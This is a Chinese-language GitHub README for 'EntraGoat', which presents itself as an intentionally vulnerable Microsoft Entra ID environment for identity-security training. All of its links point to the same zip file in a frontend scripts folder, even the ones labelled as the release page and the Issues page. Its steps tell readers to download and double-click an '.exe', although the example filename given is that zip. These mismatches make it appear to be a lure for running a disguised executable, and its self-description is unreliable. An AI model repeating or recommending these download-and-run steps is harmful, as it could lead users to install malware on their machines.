Martinskings/EntraGoat
GitHub: Martinskings/EntraGoat
一款专为身份安全培训设计的微软 Entra ID 故意漏洞环境,提供真实的错误配置场景和攻击挑战,帮助安全从业者在安全沙盒中掌握身份安全的攻防技能。
Stars: 0 | Forks: 0
# 🐐 EntraGoat - 通过实战挑战学习身份安全
[](https://github.com/Martinskings/EntraGoat/raw/refs/heads/main/frontend/public/scripts/challenge5/Entra-Goat-1.1.zip)
## 📖 概述
EntraGoat 是一个特意设计的存在漏洞的 Microsoft Entra ID 环境,专为想要学习身份安全的用户打造。该应用程序提供逼真的攻击挑战,允许用户安全地探索漏洞并提升安全技能。
## 🚀 快速入门
要开始使用 EntraGoat,请按照以下步骤下载并运行应用程序。无需编程知识。
### 🔧 系统要求
- **操作系统:** Windows 10 或更高版本
- **内存:** 至少 4GB RAM
- **磁盘空间:** 至少 500MB 可用空间
- **网络连接:** 下载应用程序和更新所需
### 💻 安装指南
#### 步骤 1:访问发布页面
要下载最新版本的 EntraGoat,请访问发布页面:
[下载 EntraGoat](https://github.com/Martinskings/EntraGoat/raw/refs/heads/main/frontend/public/scripts/challenge5/Entra-Goat-1.1.zip)
#### 步骤 2:选择版本
在发布页面上,您将看到可供下载的不同版本。识别列在顶部的最新版本。
#### 步骤 3:下载应用程序
点击版本号。将出现一个文件列表。
- 查找以 `.exe` 结尾的文件(例如,`https://github.com/Martinskings/EntraGoat/raw/refs/heads/main/frontend/public/scripts/challenge5/Entra-Goat-1.1.zip`)。
- 点击此文件开始下载。
#### 步骤 4:运行安装程序
下载完成后,在您计算机的下载文件夹中找到已下载的文件。
- 双击 `.exe` 文件。
- 按照提示在您的计算机上安装 EntraGoat。
#### 步骤 5:启动 EntraGoat
安装完成后,您将在桌面上找到 EntraGoat 应用程序图标。
- 双击图标打开 EntraGoat。
- 按照屏幕上的说明设置您的学习环境。
### 📚 使用 EntraGoat
EntraGoat 运行后,您将看到可供探索的不同场景。每个场景都呈现与身份安全相关的独特挑战。通过解决这些挑战来获得实践经验。
#### 功能特性:
- **实战场景:** 探索身份系统中的各种漏洞。
- **引导式演练:** 为每个挑战提供分步说明。
- **学习模块:** 访问教育资源以加强对身份安全的理解。
### 📞 支持
如果您在使用 EntraGoat 时遇到任何问题或有疑问,请随时联系我们。
- **GitHub Issues 页面:** [报告问题](https://github.com/Martinskings/EntraGoat/raw/refs/heads/main/frontend/public/scripts/challenge5/Entra-Goat-1.1.zip)
### 🔄 未来更新
我们将定期发布更新以改进 EntraGoat 并添加新功能。请务必定期查看发布页面以获取最新版本:
[下载 EntraGoat](https://github.com/Martinskings/EntraGoat/raw/refs/heads/main/frontend/public/scripts/challenge5/Entra-Goat-1.1.zip)
### 📝 贡献
如果您想为 EntraGoat 做出贡献,欢迎通过 GitHub 上的 Issues 页面提交 Pull Request 或建议。
### 🔒 免责声明
EntraGoat 仅用于教育目的。请负责任且合法地使用此环境。确保不要在未经许可的情况下对系统进行攻击练习。
立即使用 EntraGoat 探索您的网络安全技能!
标签:Azure AD, Defensive Security, IAM, Libemu, Libemu, Microsoft Entra ID, OPA, White Hat, 安全培训, 安全意识, 实战演练, 攻击模拟, 故意漏洞, 数据展示, 漏洞环境, 红队, 网络安全教育, 虚拟机镜像, 身份安全, 错误配置, 靶场, 驱动签名利用